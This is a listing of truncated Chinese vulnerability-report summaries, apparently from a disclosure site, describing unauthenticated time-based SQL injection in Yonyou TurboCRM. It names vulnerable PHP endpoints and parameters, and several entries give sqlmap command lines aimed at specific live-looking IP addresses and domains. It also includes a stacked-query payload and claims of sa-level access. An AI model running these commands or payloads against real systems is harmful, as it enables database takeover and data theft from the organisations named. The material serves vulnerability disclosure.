用友TurboCRM存在基于时间的SQL盲注（sa权限）

简要描述： 暴东西有点慢。但是权限还挺高啊 详细说明： login/forgetpswd.php出的问题 漏洞证明： 界面 http://220.178.27.116:8001/login/forgetpswd.php?ClearS=1&loginname=1 当前数据库turbocrm70 http://www.kdlian.com:8001/login/forgetpswd.php?ClearS=1&loginname=1 当前用户sa https://images.seebug.org/upload/201408/07000059107c8c789b448073eb205a3c...

用友CRM注入漏洞（无需登录通杀所有版本）

简要描述： 用友CRM注入漏洞，无需登录，通杀所有版本 详细说明： 漏洞url： http://220.178.27.116:8001/webservice/service.php?class=WSSystem&orgcode=1 使用sqlmap进行注入。 sqlmap.py -u "http://220.178.27.116:8001/webservice/service.php?class=WSSystem&orgcode=1" --current-user --current-db --is-dba sqlmap identified the following injectio...

用友某CRM某页面SQL注入（无需登录)

简要描述： sql 盲注 详细说明： 用友turbocrm 。根据搜索引起的结果得知多为中小企业使用。数量还不少。 其找回密码的接口存在sql 注入。 比如http://118.122.126.76:7788/login/forgetpswd.php?loginsys=3&orgcode=111&loginname=1111 GET 不需要登录可以直接注入，不过是时间盲注，比较慢，其后端数据库使用sql server。多数没有设置良好的安全基线，可以直接执行命令。 经过测试发现并不是所有的turiocrm版本都存在，存在该链接的版本基本都有漏洞。...

用友某通用系统sql注入

简要描述： 用友某通用系统注入 详细说明： 用友TurboCRM存在通用sql注入。 http://220.178.27.116:8001/background/recievesms.php?ID=1 ID参数未做过滤存在mssql timebased盲注。 sqlmap.py -u "http://220.178.27.116:8001//background/recievesms.php?ID=1" --dbs --current-user --current-db --is-dba master model msdb tempdb turbocrm70 UFDATA0012011...

用友某通用系统存在SQL注入

简要描述： 用友某通用系统存在SQL注入 详细说明： 用友TurboCRM存在通用sql注入。 存在注入的文件路径： code\www\background\festivalremind.php festivalremind.php文件中ID参数未做过滤 漏洞URL： http://220.178.27.116:8001//background/festivalremind.php?ID=99999 festivalremind.php文件中ID参数未做过滤存在mssql timebased盲注。 sqlmap.py -u...

用友某通用系统sql注入

简要描述： 用友某通用系统注入 详细说明： 用友TurboCRM存在通用sql注入 http://www.qinyuancrm.com/login/forgetpswd.php?orgcode=1&loginname=dsdfsfds loginname参数存在mssql timebased盲注 Place: GET Parameter: loginname Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: orgcode=1&loginname=dsdfsfds';...